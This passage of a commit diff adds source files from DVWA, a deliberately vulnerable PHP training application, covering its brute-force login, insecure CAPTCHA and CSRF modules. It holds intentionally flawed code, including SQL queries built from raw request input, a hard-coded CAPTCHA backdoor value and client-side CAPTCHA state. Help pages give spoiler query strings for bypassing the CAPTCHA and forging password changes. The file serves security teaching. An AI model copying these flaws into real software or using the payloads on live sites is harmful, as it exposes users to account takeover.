first commit

dvwa/vulnerabilities/brute/help/help.php

@@ -0,0 +1,69 @@
+<div class="body_padded">
+	<h1>Help - Brute Force (Login)</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>Password cracking is the process of recovering passwords from data that has been stored in or transmitted by a computer system.
+			A common approach is to repeatedly try guesses for the password.</p>
+
+		<p>Users often choose weak passwords. Examples of insecure choices include single words found in dictionaries, family names, any too short password
+			(usually thought to be less than 6 or 7 characters), or predictable patterns
+			(e.g. alternating vowels and consonants, which is known as leetspeak, so "password" becomes "p@55w0rd").</p>
+
+		<p>Creating a targeted wordlists, which is generated towards the target, often gives the highest success rate. There are public tools out there that will create a dictionary
+			based on a combination of company websites, personal social networks and other common information (such as birthdays or year of graduation).
+
+		<p>A last resort is to try every possible password, known as a brute force attack. In theory, if there is no limit to the number of attempts, a brute force attack will always
+			be successful since the rules for acceptable passwords must be publicly known; but as the length of the password increases, so does the number of possible passwords
+			making the attack time longer.</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>Your goal is to get the administrator’s password by brute forcing. Bonus points for getting the other four user passwords!</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>The developer has completely missed out <u>any protections methods</u>, allowing for anyone to try as many times as they wish, to login to any user without any repercussions.</p>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>This stage adds a sleep on the failed login screen. This mean when you login incorrectly, there will be an extra two second wait before the page is visible.</p>
+
+		<p>This will only slow down the amount of requests which can be processed a minute, making it longer to brute force.</p>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>There has been an "anti Cross-Site Request Forgery (CSRF) token" used. There is a old myth that this protection will stop brute force attacks. This is not the case.
+			This level also extends on the medium level, by waiting when there is a failed login but this time it is a random amount of time between two and four seconds.
+			The idea of this is to try and confuse any timing predictions.</p>
+
+		<p>Using a <?php echo dvwaExternalLinkUrlGet( 'http://www.captcha.net/', 'CAPTCHA' ); ?> form could have a similar effect as a CSRF token.</p>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>Brute force (and user enumeration) should not be possible in the impossible level. The developer has added a "lock out" feature, where if there are five bad logins within
+			the last 15 minutes, the locked out user cannot log in.</p>
+
+		<p>If the locked out user tries to login, even with a valid password, it will say their username or password is incorrect. This will make it impossible to know
+			if there is a valid account on the system, with that password, and if the account is locked.</p>
+
+		<p>This can cause a "Denial of Service" (DoS), by having someone continually trying to login to someone's account.
+			This level would need to be extended by blacklisting the attacker (e.g. IP address, country, user-agent).</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://en.wikipedia.org/wiki/Password_cracking' ); ?></p>
+</div>

dvwa/vulnerabilities/brute/index.php

@@ -0,0 +1,68 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: Brute Force' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'brute';
+$page[ 'help_button' ]   = 'brute';
+$page[ 'source_button' ] = 'brute';
+dvwaDatabaseConnect();
+
+$method            = 'GET';
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		$method = 'POST';
+		break;
+}
+
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/brute/source/{$vulnerabilityFile}";
+
+$page[ 'body' ] .= "
+<div class=\"body_padded\">
+	<h1>Vulnerability: Brute Force</h1>
+
+	<div class=\"vulnerable_code_area\">
+		<h2>Login</h2>
+
+		<form action=\"#\" method=\"{$method}\">
+			Username:<br />
+			<input type=\"text\" name=\"username\"><br />
+			Password:<br />
+			<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password\"><br />
+			<br />
+			<input type=\"submit\" value=\"Login\" name=\"Login\">\n";
+
+if( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' )
+	$page[ 'body' ] .= "			" . tokenField();
+
+$page[ 'body' ] .= "
+		</form>
+		{$html}
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-004)' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html' ) . "</li>
+	</ul>
+</div>\n";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/brute/source/high.php

@@ -0,0 +1,42 @@
+<?php
+
+if( isset( $_GET[ 'Login' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Sanitise username input
+	$user = $_GET[ 'username' ];
+	$user = stripslashes( $user );
+	$user = mysql_real_escape_string( $user );
+
+	// Sanitise password input
+	$pass = $_GET[ 'password' ];
+	$pass = stripslashes( $pass );
+	$pass = mysql_real_escape_string( $pass );
+	$pass = md5( $pass );
+
+	// Check database
+	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
+	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+	if( $result && mysql_num_rows( $result ) == 1 ) {
+		// Get users details
+		$avatar = mysql_result( $result, 0, "avatar" );
+
+		// Login successful
+		$html .= "<p>Welcome to the password protected area {$user}</p>";
+		$html .= "<img src=\"{$avatar}\" />";
+	}
+	else {
+		// Login failed
+		sleep( rand( 0, 3 ) );
+		$html .= "<pre><br />Username and/or password incorrect.</pre>";
+	}
+
+	mysql_close();
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/brute/source/impossible.php

@@ -0,0 +1,96 @@
+<?php
+
+if( isset( $_POST[ 'Login' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Sanitise username input
+	$user = $_POST[ 'username' ];
+	$user = stripslashes( $user );
+	$user = mysql_real_escape_string( $user );
+
+	// Sanitise password input
+	$pass = $_POST[ 'password' ];
+	$pass = stripslashes( $pass );
+	$pass = mysql_real_escape_string( $pass );
+	$pass = md5( $pass );
+
+	// Default values
+	$total_failed_login = 3;
+	$lockout_time       = 15;
+	$account_locked     = false;
+
+	// Check the database (Check user information)
+	$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
+	$data->bindParam( ':user', $user, PDO::PARAM_STR );
+	$data->execute();
+	$row = $data->fetch();
+
+	// Check to see if the user has been locked out.
+	if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) )  {
+		// User locked out.  Note, using this method would allow for user enumeration!
+		//$html .= "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
+
+		// Calculate when the user would be allowed to login again
+		$last_login = $row[ 'last_login' ];
+		$last_login = strtotime( $last_login );
+		$timeout    = strtotime( "{$last_login} +{$lockout_time} minutes" );
+		$timenow    = strtotime( "now" );
+
+		// Check to see if enough time has passed, if it hasn't locked the account
+		if( $timenow > $timeout )
+			$account_locked = true;
+	}
+
+	// Check the database (if username matches the password)
+	$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
+	$data->bindParam( ':user', $user, PDO::PARAM_STR);
+	$data->bindParam( ':password', $pass, PDO::PARAM_STR );
+	$data->execute();
+	$row = $data->fetch();
+
+	// If its a valid login...
+	if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
+		// Get users details
+		$avatar       = $row[ 'avatar' ];
+		$failed_login = $row[ 'failed_login' ];
+		$last_login   = $row[ 'last_login' ];
+
+		// Login successful
+		$html .= "<p>Welcome to the password protected area <em>{$user}</em></p>";
+		$html .= "<img src=\"{$avatar}\" />";
+
+		// Had the account been locked out since last login?
+		if( $failed_login >= $total_failed_login ) {
+			$html .= "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
+			$html .= "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
+		}
+
+		// Reset bad login count
+		$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
+		$data->bindParam( ':user', $user, PDO::PARAM_STR );
+		$data->execute();
+	}
+	else {
+		// Login failed
+		sleep( rand( 2, 4 ) );
+
+		// Give the user some feedback
+		$html .= "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
+
+		// Update bad login count
+		$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
+		$data->bindParam( ':user', $user, PDO::PARAM_STR );
+		$data->execute();
+	}
+
+	// Set the last login time
+	$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
+	$data->bindParam( ':user', $user, PDO::PARAM_STR );
+	$data->execute();
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/brute/source/low.php

@@ -0,0 +1,31 @@
+<?php
+
+if( isset( $_GET[ 'Login' ] ) ) {
+	// Get username
+	$user = $_GET[ 'username' ];
+
+	// Get password
+	$pass = $_GET[ 'password' ];
+	$pass = md5( $pass );
+
+	// Check the database
+	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
+	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+	if( $result && mysql_num_rows( $result ) == 1 ) {
+		// Get users details
+		$avatar = mysql_result( $result, 0, "avatar" );
+
+		// Login successful
+		$html .= "<p>Welcome to the password protected area {$user}</p>";
+		$html .= "<img src=\"{$avatar}\" />";
+	}
+	else {
+		// Login failed
+		$html .= "<pre><br />Username and/or password incorrect.</pre>";
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/brute/source/medium.php

@@ -0,0 +1,34 @@
+<?php
+
+if( isset( $_GET[ 'Login' ] ) ) {
+	// Sanitise username input
+	$user = $_GET[ 'username' ];
+	$user = mysql_real_escape_string( $user );
+
+	// Sanitise password input
+	$pass = $_GET[ 'password' ];
+	$pass = mysql_real_escape_string( $pass );
+	$pass = md5( $pass );
+
+	// Check the database
+	$query  = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
+	$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+	if( $result && mysql_num_rows( $result ) == 1 ) {
+		// Get users details
+		$avatar = mysql_result( $result, 0, "avatar" );
+
+		// Login successful
+		$html .= "<p>Welcome to the password protected area {$user}</p>";
+		$html .= "<img src=\"{$avatar}\" />";
+	}
+	else {
+		// Login failed
+		sleep( 2 );
+		$html .= "<pre><br />Username and/or password incorrect.</pre>";
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/captcha/help/help.php

@@ -0,0 +1,62 @@
+<div class="body_padded">
+	<h1>Help - Insecure CAPTCHA</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>A <?php echo dvwaExternalLinkUrlGet( 'http://www.captcha.net/', 'CAPTCHA' ); ?> is a program that can tell whether its user is a human or a computer. You've probably seen
+			them - colourful images with distorted text at the bottom of Web registration forms. CAPTCHAs are used by many websites to prevent abuse from
+			"bots", or automated programs usually written to generate spam. No computer program can read distorted text as well as humans can, so bots
+			cannot navigate sites protected by CAPTCHAs.</p>
+
+		<p>CAPTCHAs are often used to protect sensitive functionality from automated bots. Such functionality typically includes user registration and changes,
+			password changes, and posting content. In this example, the CAPTCHA is guarding the change password functionality for the user account. This provides
+			limited protection from CSRF attacks as well as automated bot guessing.</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>Your aim, change the current user's password in a automated manner because of the poor CAPTCHA system.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>The issue with this CAPTCHA is that it is easily bypassed. The developer has made the assumption that all users will progress through screen 1, complete the CAPTCHA, and then
+			move on to the next screen where the password is actually updated. By submitting the new password directly to the change page, the user may bypass the CAPTCHA system.</p>
+
+		<p>The parameters required to complete this challenge in low security would be similar to the following:</p>
+		<pre>Spoiler: <span class="spoiler">?step=2&password_new=password&password_conf=password&Change=Change</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>The developer has attempted to place state around the session and keep track of whether the user successfully completed the
+			CAPTCHA prior to submitting data. Because the state variable (Spoiler: <span class="spoiler">passed_captcha</span>) is on the client side,
+			it can also be manipulated by the attacker like so:</p>
+		<pre>Spoiler: <span class="spoiler">?step=2&password_new=password&password_conf=password&passed_captcha=true&Change=Change</span>.</pre>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>There has been development code left in, which was never removed in production. It is possible to mimic the development values, to allow
+			invalid values in be placed into the CAPTCHA field.</p>
+		<p>You will need to spoof your user-agent (Spoiler: <span class="spoiler">reCAPTCHA</span>) as well as use the CAPTCHA value of
+			(Spoiler: <span class="spoiler">hidd3n_valu3</span>) to skip the check.</p>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>In the impossible level, the developer has removed all avenues of attack. The process has been simplified so that data and CAPTCHA verification occurs in one
+			single step. Alternatively, the developer could have moved the state variable server side (from the medium level), so the user cannot alter it.</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'http://www.captcha.net/' ); ?></p>
+</div>

dvwa/vulnerabilities/captcha/index.php

@@ -0,0 +1,98 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+require_once DVWA_WEB_PAGE_TO_ROOT . "external/recaptcha/recaptchalib.php";
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
+$page[ 'title' ]   = 'Vulnerability: Insecure CAPTCHA' . $page[ 'title_separator' ].$page[ 'title' ];
+$page[ 'page_id' ] = 'captcha';
+$page[ 'help_button' ]   = 'captcha';
+$page[ 'source_button' ] = 'captcha';
+
+dvwaDatabaseConnect();
+
+$vulnerabilityFile = '';
+switch( $_COOKIE[ 'security' ] ) {
+	case 'low':
+		$vulnerabilityFile = 'low.php';
+		break;
+	case 'medium':
+		$vulnerabilityFile = 'medium.php';
+		break;
+	case 'high':
+		$vulnerabilityFile = 'high.php';
+		break;
+	default:
+		$vulnerabilityFile = 'impossible.php';
+		break;
+}
+
+$hide_form = false;
+require_once DVWA_WEB_PAGE_TO_ROOT . "vulnerabilities/captcha/source/{$vulnerabilityFile}";
+
+// Check if we have a reCAPTCHA key
+$WarningHtml = '';
+if( $_DVWA[ 'recaptcha_public_key' ] == "" ) {
+	$WarningHtml = "<div class=\"warning\"><em>reCAPTCHA API key missing</em> from config file: " . realpath( dirname( dirname( getcwd() ) ) . "/config/config.inc.php" ) . "</div>";
+	$html = "<em>Please register for a key</em> from reCAPTCHA: " . dvwaExternalLinkUrlGet('https://www.google.com/recaptcha/admin/create');
+	$hide_form = true;
+}
+
+$page[ 'body' ] .= "
+	<div class=\"body_padded\">
+	<h1>Vulnerability: Insecure CAPTCHA</h1>
+
+	{$WarningHtml}
+
+	<div class=\"vulnerable_code_area\">
+		<form action=\"#\" method=\"POST\" ";
+
+if( $hide_form )
+	$page[ 'body' ] .= "style=\"display:none;\"";
+
+$page[ 'body' ] .= ">
+			<h3>Change your password:</h3>
+			<br />
+
+			<input type=\"hidden\" name=\"step\" value=\"1\" />\n";
+
+if( $vulnerabilityFile == 'impossible.php' ) {
+	$page[ 'body' ] .= "
+			Current password:<br />
+			<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_current\"><br />";
+}
+
+$page[ 'body' ] .= "			New password:<br />
+			<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_new\"><br />
+			Confirm new password:<br />
+			<input type=\"password\" AUTOCOMPLETE=\"off\" name=\"password_conf\"><br />
+
+			" . recaptcha_get_html( $_DVWA[ 'recaptcha_public_key' ] );
+if( $vulnerabilityFile == 'high.php' )
+	$page[ 'body' ] .= "\n\n			<!-- **DEV NOTE**   Response: 'hidd3n_valu3'   &&   User-Agent: 'reCAPTCHA'   **/DEV NOTE** -->\n";
+
+if( $vulnerabilityFile == 'high.php' || $vulnerabilityFile == 'impossible.php' )
+	$page[ 'body' ] .= "\n			" . tokenField();
+
+$page[ 'body' ] .= "
+			<br />
+
+			<input type=\"submit\" value=\"Change\" name=\"Change\">
+		</form>
+		{$html}
+	</div>
+
+	<h2>More Information</h2>
+	<ul>
+		<li>" . dvwaExternalLinkUrlGet( 'http://www.captcha.net/' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.google.com/recaptcha/' ) . "</li>
+		<li>" . dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Testing_for_Captcha_(OWASP-AT-012)' ) . "</li>
+	</ul>
+</div>\n";
+
+dvwaHtmlEcho( $page );
+
+?>

dvwa/vulnerabilities/captcha/source/high.php

@@ -0,0 +1,50 @@
+<?php
+
+if( isset( $_POST[ 'Change' ] ) ) {
+	// Hide the CAPTCHA form
+	$hide_form = true;
+
+	// Get input
+	$pass_new  = $_POST[ 'password_new' ];
+	$pass_conf = $_POST[ 'password_conf' ];
+
+	// Check CAPTCHA from 3rd party
+	$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
+		$_SERVER[ 'REMOTE_ADDR' ],
+		$_POST[ 'recaptcha_challenge_field' ],
+		$_POST[ 'recaptcha_response_field' ] );
+
+	// Did the CAPTCHA fail?
+	if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) {
+		// What happens when the CAPTCHA was entered incorrectly
+		$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
+		$hide_form = false;
+		return;
+	}
+	else {
+		// CAPTCHA was correct. Do both new passwords match?
+		if( $pass_new == $pass_conf ) {
+			$pass_new = mysql_real_escape_string( $pass_new );
+			$pass_new = md5( $pass_new );
+
+			// Update database
+			$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
+			$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+			// Feedback for user
+			$html .= "<pre>Password Changed.</pre>";
+		}
+		else {
+			// Ops. Password mismatch
+			$html     .= "<pre>Both passwords must match.</pre>";
+			$hide_form = false;
+		}
+	}
+
+	mysql_close();
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/captcha/source/impossible.php

@@ -0,0 +1,68 @@
+<?php
+
+if( isset( $_POST[ 'Change' ] ) ) {
+	// Check Anti-CSRF token
+	checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
+
+	// Hide the CAPTCHA form
+	$hide_form = true;
+
+	// Get input
+	$pass_new  = $_POST[ 'password_new' ];
+	$pass_new  = stripslashes( $pass_new );
+	$pass_new  = mysql_real_escape_string( $pass_new );
+	$pass_new  = md5( $pass_new );
+
+	$pass_conf = $_POST[ 'password_conf' ];
+	$pass_conf = stripslashes( $pass_conf );
+	$pass_conf = mysql_real_escape_string( $pass_conf );
+	$pass_conf = md5( $pass_conf );
+
+	$pass_curr = $_POST[ 'password_current' ];
+	$pass_curr = stripslashes( $pass_curr );
+	$pass_curr = mysql_real_escape_string( $pass_curr );
+	$pass_curr = md5( $pass_curr );
+
+	// Check CAPTCHA from 3rd party
+	$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
+		$_SERVER[ 'REMOTE_ADDR' ],
+		$_POST[ 'recaptcha_challenge_field' ],
+		$_POST[ 'recaptcha_response_field' ] );
+
+	// Did the CAPTCHA fail?
+	if( !$resp->is_valid ) {
+		// What happens when the CAPTCHA was entered incorrectly
+		$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
+		$hide_form = false;
+		return;
+	}
+	else {
+		// Check that the current password is correct
+		$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
+		$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
+		$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
+		$data->execute();
+
+		// Do both new password match and was the current password correct?
+		if( ( $pass_new == $pass_conf) && ( $data->rowCount() == 1 ) ) {
+			// Update the database
+			$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
+			$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
+			$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
+			$data->execute();
+
+			// Feedback for the end user - success!
+			$html .= "<pre>Password Changed.</pre>";
+		}
+		else {
+			// Feedback for the end user - failed!
+			$html .= "<pre>Either your current password is incorrect or the new passwords did not match.<br />Please try again.</pre>";
+			$hide_form = false;
+		}
+	}
+}
+
+// Generate Anti-CSRF token
+generateSessionToken();
+
+?>

dvwa/vulnerabilities/captcha/source/low.php

@@ -0,0 +1,75 @@
+<?php
+
+if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
+	// Hide the CAPTCHA form
+	$hide_form = true;
+
+	// Get input
+	$pass_new  = $_POST[ 'password_new' ];
+	$pass_conf = $_POST[ 'password_conf' ];
+
+	// Check CAPTCHA from 3rd party
+	$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
+		$_SERVER[ 'REMOTE_ADDR' ],
+		$_POST[ 'recaptcha_challenge_field' ],
+		$_POST[ 'recaptcha_response_field' ] );
+
+	// Did the CAPTCHA fail?
+	if( !$resp->is_valid ) {
+		// What happens when the CAPTCHA was entered incorrectly
+		$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
+		$hide_form = false;
+		return;
+	}
+	else {
+		// CAPTCHA was correct. Do both new passwords match?
+		if( $pass_new == $pass_conf ) {
+			// Show next stage for the user
+			$html .= "
+				<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
+				<form action=\"#\" method=\"POST\">
+					<input type=\"hidden\" name=\"step\" value=\"2\" />
+					<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
+					<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
+					<input type=\"submit\" name=\"Change\" value=\"Change\" />
+				</form>";
+		}
+		else {
+			// Both new passwords do not match.
+			$html     .= "<pre>Both passwords must match.</pre>";
+			$hide_form = false;
+		}
+	}
+}
+
+if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
+	// Hide the CAPTCHA form
+	$hide_form = true;
+
+	// Get input
+	$pass_new  = $_POST[ 'password_new' ];
+	$pass_conf = $_POST[ 'password_conf' ];
+
+	// Check to see if both password match
+	if( $pass_new == $pass_conf ) {
+		// They do!
+		$pass_new = mysql_real_escape_string( $pass_new );
+		$pass_new = md5( $pass_new );
+
+		// Update database
+		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
+		$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+		// Feedback for the end user
+		$html .= "<pre>Password Changed.</pre>";
+	}
+	else {
+		// Issue with the passwords matching
+		$html .= "<pre>Passwords did not match.</pre>";
+		$hide_form = false;
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/captcha/source/medium.php

@@ -0,0 +1,83 @@
+<?php
+
+if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
+	// Hide the CAPTCHA form
+	$hide_form = true;
+
+	// Get input
+	$pass_new  = $_POST[ 'password_new' ];
+	$pass_conf = $_POST[ 'password_conf' ];
+
+	// Check CAPTCHA from 3rd party
+	$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ],
+		$_SERVER[ 'REMOTE_ADDR' ],
+		$_POST[ 'recaptcha_challenge_field' ],
+		$_POST[ 'recaptcha_response_field' ] );
+
+	// Did the CAPTCHA fail?
+	if( !$resp->is_valid ) {
+		// What happens when the CAPTCHA was entered incorrectly
+		$html     .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
+		$hide_form = false;
+		return;
+	}
+	else {
+		// CAPTCHA was correct. Do both new passwords match?
+		if( $pass_new == $pass_conf ) {
+			// Show next stage for the user
+			$html .= "
+				<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
+				<form action=\"#\" method=\"POST\">
+					<input type=\"hidden\" name=\"step\" value=\"2\" />
+					<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
+					<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
+					<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" />
+					<input type=\"submit\" name=\"Change\" value=\"Change\" />
+				</form>";
+		}
+		else {
+			// Both new passwords do not match.
+			$html     .= "<pre>Both passwords must match.</pre>";
+			$hide_form = false;
+		}
+	}
+}
+
+if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
+	// Hide the CAPTCHA form
+	$hide_form = true;
+
+	// Get input
+	$pass_new  = $_POST[ 'password_new' ];
+	$pass_conf = $_POST[ 'password_conf' ];
+
+	// Check to see if they did stage 1
+	if( !$_POST[ 'passed_captcha' ] ) {
+		$html     .= "<pre><br />You have not passed the CAPTCHA.</pre>";
+		$hide_form = false;
+		return;
+	}
+
+	// Check to see if both password match
+	if( $pass_new == $pass_conf ) {
+		// They do!
+		$pass_new = mysql_real_escape_string( $pass_new );
+		$pass_new = md5( $pass_new );
+
+		// Update database
+		$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
+		$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
+
+		// Feedback for the end user
+		$html .= "<pre>Password Changed.</pre>";
+	}
+	else {
+		// Issue with the passwords matching
+		$html .= "<pre>Passwords did not match.</pre>";
+		$hide_form = false;
+	}
+
+	mysql_close();
+}
+
+?>

dvwa/vulnerabilities/csrf/help/help.php

@@ -0,0 +1,57 @@
+<div class="body_padded">
+	<h1>Help - Cross Site Request Forgery (CSRF)</h1>
+
+	<div id="code">
+	<table width='100%' bgcolor='white' style="border:2px #C0C0C0 solid">
+	<tr>
+	<td><div id="code">
+		<h3>About</h3>
+		<p>CSRF is an attack that forces an end user to execute unwanted actions on a web application in which they are currently authenticated.
+			With a little help of social engineering (such as sending a link via email/chat), an attacker may force the users of a web application to execute actions of
+			the attacker's choosing.</p>
+
+		<p>A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is
+			the administrator account, this can compromise the entire web application.</p>
+
+		<p>This attack may also be called "XSRF", similar to "Cross Site scripting (XSS)", and they are often used together.</p>
+
+		<br /><hr /><br />
+
+		<h3>Objective</h3>
+		<p>Your task is to make the current user change their own password, without them knowing about their actions, using a CSRF attack.</p>
+
+		<br /><hr /><br />
+
+		<h3>Low Level</h3>
+		<p>There are no measures in place to protect against this attack. This means a link can be crafted to achieve a certain action (in this case, change the current users password).
+			Then with some basic social engineering, have the target click the link (or just visit a certain page), to trigger the action.</p>
+		<pre>Spoiler: <span class="spoiler">?password_new=password&password_conf=password&Change=Change</span>.</pre>
+
+		<br />
+
+		<h3>Medium Level</h3>
+		<p>For the medium level challenge, there is a check to see where the last requested page came from. The developer believes if it matches the current domain,
+			it must of come from the web application so it can be trusted.</p>
+		<p>It may be required to link in multiple vulnerabilities to exploit this vector, such as reflective XSS.</p>
+
+		<br />
+
+		<h3>High Level</h3>
+		<p>In the high level, the developer has added an "anti Cross-Site Request Forgery (CSRF) token". In order by bypass this protection method, another vulnerability will be required.</p>
+		<pre>Spoiler: <span class="spoiler">e.g. Javascript is a executed on the client side, in the browser</span>.</pre>
+
+		<br />
+
+		<h3>Impossible Level</h3>
+		<p>In the impossible level, the challenge will extent the high level and asks for the current user's password. As this cannot be found out (only predicted or brute forced),
+			there is not an attack vector here.</p>
+	</div></td>
+	</tr>
+	</table>
+
+	</div>
+
+	<br />
+
+	<p>Reference: <?php echo dvwaExternalLinkUrlGet( 'https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)' ); ?></p>
+</div>

dvwa/vulnerabilities/csrf/index.php

@@ -0,0 +1,76 @@
+<?php
+
+define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' );
+require_once DVWA_WEB_PAGE_TO_ROOT . 'dvwa/includes/dvwaPage.inc.php';
+
+dvwaPageStartup( array( 'authenticated', 'phpids' ) );
+
+$page = dvwaPageNewGrab();
